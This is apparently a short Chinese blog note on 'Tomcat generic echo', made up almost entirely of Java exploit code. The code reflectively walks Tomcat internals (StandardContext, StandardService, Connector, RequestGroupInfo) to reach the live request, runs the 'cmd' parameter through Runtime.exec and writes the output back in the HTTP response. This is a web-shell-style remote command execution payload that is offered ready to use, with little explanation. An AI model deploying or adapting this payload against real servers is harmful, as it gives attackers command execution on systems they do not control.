Tomcat通用回显的坑

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();        StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
        try{            //获取ApplicationContext 该类service存在StandardService            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");            context.setAccessible(true);            ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");            service.setAccessible(true);            StandardService  standardService = (StandardService) service.get(applicationContext);            Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");            connectors.setAccessible(true);            Connector[] connector = (Connector[]) connectors.get(standardService);            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");            protocolHandler.setAccessible(true);            //获取内部类            Class<?>[] cls  = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();            for (Class<?> cl : cls) {                if("org.apache.coyote.AbstractProtocol$ConnectionHandler".equals(cl.getName())){                    Method getHandler = AbstractProtocol.class.getDeclaredMethod("getHandler",null);                    getHandler.setAccessible(true);                    Field global = cl.getDeclaredField("global");                    global.setAccessible(true);                    RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(),null));                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");                    processors.setAccessible(true);                    List<RequestInfo> list = (List<RequestInfo>) processors.get(requestGroupInfo);
                    Field reqs = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");                    reqs.setAccessible(true);                    for (RequestInfo requestInfo : list) {                        if(requestInfo.getMethod() != null){                            Request request = (Request) reqs.get(requestInfo);                            org.apache.catalina.connector.Request con_req = (org.apache.catalina.connector.Request) request.getNote(1);                            InputStream stream = Runtime.getRuntime().exec(con_req.getParameter("cmd")).getInputStream();                            Scanner s = new Scanner(stream).useDelimiter("\A");                            String str = s.hasNext() ? s.next(): "";                            con_req.getResponse().setContentType("text/html;charset=gb2312");                            con_req.getResponse().getWriter().write(str.toString());                        }
                    }                }            }        }catch(Exception e){
        }    }

    public String getMethod() {        return this.req.method().toString();    }